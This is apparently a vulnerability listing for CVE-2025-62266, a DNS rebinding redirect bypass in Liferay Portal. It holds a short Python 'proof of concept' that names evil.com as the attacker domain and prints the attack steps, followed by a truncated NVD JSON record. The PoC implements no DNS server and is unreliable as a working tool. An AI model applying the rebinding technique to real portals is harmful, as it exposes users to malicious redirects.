CVE-2025-62266

import http.server import socketserver import time # Malicious DNS server for DNS rebinding attack # This PoC demonstrates the DNS rebinding technique class DNSRebindHandler: def __init__(self): self.request_count = 0 self.attack_ip = "attacker-controlled-server-ip" self.target_ip = "127.0.0.1" # Internal network IP def get_ip_for_request(self): # Alternate between attacker's IP and internal IP self.request_count += 1 if self.request_count % 2 == 1: return self.attack_ip else: return self.target_ip # Attack scenario: # 1. Attacker registers malicious domain (e.g., evil.com) # 2. Domain initially resolves to attacker's external server # 3. User visits Liferay portal with link containing evil.com # 4. After first request, DNS switches to internal IP (via rebinding) # 5. Liferay thinks request is from internal/trusted source # 6. Subsequent requests allow redirect to arbitrary URLs print("DNS Rebinding Attack PoC for CVE-2025-62266") print("Target: Liferay Portal redirect URL validation bypass") print("Attack Flow:") print("1. Attacker creates malicious domain with short TTL") print("2. Domain resolves to external server initially") print("3. After validation, DNS rebinds to internal IP") print("4. Liferay allows redirect to attacker-controlled URL")

{"cve": {"id": "CVE-2025-62266", "sourceIdentifier": "[email protected]", "published": "2025-10-30T18:15:33.033", "lastModified": "2025-11-11T01:58:06.213", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "By default, Liferay Portal 7.4.0 through 7.4.3.119, and older unsupported versions, and Liferay DXP 2024.Q1.1 through 2024.Q1.5, 2023.Q4.0 through 2023.Q4.10, 2023.Q3.1 through 2023.Q3.10, 7.4 GA through update 92, and older unsupported versions is vulnerable to DNS rebinding attacks, which allows remote attackers to redirect users to arbitrary external URLs. This vulnerability can be mitigated by changing the redirect URL security from IP to domain."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:-:*:*:*:*:*:*", "matchCriteriaId": "6F6A98ED-E694-4F39-95D0-C152BD1EC115"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:fix_pack_1:*:*:*:*:*:*", "matchCriteriaId": "2CD6861A-D546-462F-8B22-FA76A4AF8A9C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:fix_pack_2:*:*:*:*:*:*", "matchCriteriaId": "324BB977-5AAC-4367-98FC-605FF4997B3F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:service_pack_1:*:*:*:*:*:*", "matchCriteriaId": "2BBA40AC-4619-434B-90CF-4D29A1CA6D86"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:service_pack_2:*:*:*:*:*:*", "matchCriteriaId": "135BED68-C2EC-4EE7-9138-91E0EE3608EB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:service_pack_3:*:*:*:*:*:*", "matchCriteriaId": "728DF154-F19F-454C-87CA-1E755107F2A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:update1:*:*:*:*:*:*", "matchCriteriaId": "35F42314-AC3F-45B6-8BF8-49811E5F2FAB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:update10:*:*:*:*:*:*", "matchCriteriaId": "AA984F92-4C6C-4049-A731-96F587B51E75"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:update11:*:*:*:*:*:*", "matchCriteriaId": "CADDF499-DDC4-4CEE-B512-404EA2024FCB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:update12:*:*:*:*:*:*", "matchCriteriaId": "9EC64246-1039-4009-B9BD-7828FA0FA1C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:update13:*:*:*:*:*:*", "matchCriteriaId": "D9F352AE-AE22-4A84-94B6-6621D7E0BC59"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:update14:*:*:*:*:*:*", "matchCriteriaId": "3E84D881-6D47-48FD-B743-9D531F5F7D5C"}, {"vulnerable": true, "criteria": "cpe:2 ... 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